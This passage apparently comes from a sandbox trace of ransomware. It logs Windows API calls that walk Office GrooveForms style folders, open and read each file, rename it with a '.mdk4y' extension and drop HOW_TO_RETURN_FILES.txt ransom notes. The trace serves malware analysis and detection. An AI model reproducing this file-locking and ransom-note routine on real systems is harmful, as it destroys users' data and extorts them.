lpMultiByteStr="FormsStylesse.gif", lpUsedDefaultChar=0x37dec0) returned 11 [0187.301] AreFileApisANSI () returned 1 [0187.301] GetACP () returned 0x4e4 [0187.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=73, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\") returned 73 [0187.347] AreFileApisANSI () returned 1 [0187.347] GetACP () returned 0x4e4 [0187.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0187.347] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.348] AreFileApisANSI () returned 1 [0187.348] GetACP () returned 0x4e4 [0187.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0187.348] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.348] AreFileApisANSI () returned 1 [0187.348] GetACP () returned 0x4e4 [0187.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adobe.css", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Adobe.css", lpUsedDefaultChar=0x37de34) returned 9 [0187.348] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826257900000) returned 1 [0187.349] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x75c, lpOverlapped=0x0) returned 1 [0187.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826258300000) returned 1 [0187.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826258300000) returned 1 [0187.353] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css.mdk4y")) returned 1 [0187.354] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.354] AreFileApisANSI () returned 1 [0187.354] GetACP () returned 0x4e4 [0187.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Americana", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Americana", lpUsedDefaultChar=0x37de34) returned 9 [0187.354] AreFileApisANSI () returned 1 [0187.354] GetACP () returned 0x4e4 [0187.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\瞈㲣瞈鑖瞣_") returned 83 [0187.355] AreFileApisANSI () returned 1 [0187.355] GetACP () returned 0x4e4 [0187.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.355] AreFileApisANSI () returned 1 [0187.355] GetACP () returned 0x4e4 [0187.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.355] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.355] AreFileApisANSI () returned 1 [0187.355] GetACP () returned 0x4e4 [0187.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.355] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826258500000) returned 1 [0187.355] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0187.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826258600000) returned 1 [0187.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826258600000) returned 1 [0187.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif.mdk4y")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.357] AreFileApisANSI () returned 1 [0187.357] GetACP () returned 0x4e4 [0187.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.357] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826259000000) returned 1 [0187.360] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0187.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826259100000) returned 1 [0187.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826259100000) returned 1 [0187.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif.mdk4y")) returned 1 [0187.363] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.363] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.363] AreFileApisANSI () returned 1 [0187.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0187.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.387] GetFileType (hFile=0x114) returned 0x1 [0187.388] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.388] AreFileApisANSI () returned 1 [0187.388] GetACP () returned 0x4e4 [0187.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Americana.css", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Americana.css", lpUsedDefaultChar=0x37de34) returned 13 [0187.389] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826261900000) returned 1 [0187.389] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xb96, lpOverlapped=0x0) returned 1 [0187.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826264800000) returned 1 [0187.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826264800000) returned 1 [0187.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css.mdk4y")) returned 1 [0187.420] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.420] AreFileApisANSI () returned 1 [0187.420] GetACP () returned 0x4e4 [0187.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBlue", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BabyBluea.css", lpUsedDefaultChar=0x37de34) returned 8 [0187.420] AreFileApisANSI () returned 1 [0187.420] GetACP () returned 0x4e4 [0187.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=82, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\㱴瞈㲣瞈鑖瞣_") returned 82 [0187.421] AreFileApisANSI () returned 1 [0187.421] GetACP () returned 0x4e4 [0187.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.421] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.421] AreFileApisANSI () returned 1 [0187.421] GetACP () returned 0x4e4 [0187.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.421] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.421] AreFileApisANSI () returned 1 [0187.421] GetACP () returned 0x4e4 [0187.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BUTTON.GIFs", lpUsedDefaultChar=0x37dda8) returned 10 [0187.421] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265100000) returned 1 [0187.422] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb9, lpOverlapped=0x0) returned 1 [0187.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265200000) returned 1 [0187.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265200000) returned 1 [0187.423] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif.mdk4y")) returned 1 [0187.423] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.423] AreFileApisANSI () returned 1 [0187.423] GetACP () returned 0x4e4 [0187.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.423] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265400000) returned 1 [0187.424] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xff, lpOverlapped=0x0) returned 1 [0187.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265400000) returned 1 [0187.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265400000) returned 1 [0187.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif.mdk4y")) returned 1 [0187.425] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.425] AreFileApisANSI () returned 1 [0187.425] GetACP () returned 0x4e4 [0187.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.425] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265600000) returned 1 [0187.426] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0187.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265700000) returned 1 [0187.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826265700000) returned 1 [0187.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif.mdk4y")) returned 1 [0187.453] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.453] AreFileApisANSI () returned 1 [0187.453] GetACP () returned 0x4e4 [0187.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.453] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826268400000) returned 1 [0187.454] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0187.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826268500000) returned 1 [0187.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826268500000) returned 1 [0187.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif.mdk4y")) returned 1 [0187.456] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.456] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.456] AreFileApisANSI () returned 1 [0187.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0187.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.457] GetFileType (hFile=0x114) returned 0x1 [0187.457] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.457] AreFileApisANSI () returned 1 [0187.457] GetACP () returned 0x4e4 [0187.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBlue.css", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BabyBlue.csss", lpUsedDefaultChar=0x37de34) returned 12 [0187.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826268800000) returned 1 [0187.458] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xcb0, lpOverlapped=0x0) returned 1 [0187.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826272300000) returned 1 [0187.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826272300000) returned 1 [0187.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css.mdk4y")) returned 1 [0187.495] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.495] AreFileApisANSI () returned 1 [0187.495] GetACP () returned 0x4e4 [0187.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Beige.css", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Beige.csscss", lpUsedDefaultChar=0x37de34) returned 9 [0187.495] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826272500000) returned 1 [0187.495] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x71f, lpOverlapped=0x0) returned 1 [0187.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826274300000) returned 1 [0187.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826274300000) returned 1 [0187.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css.mdk4y" (normalized: "c:\\program files\\microsoft 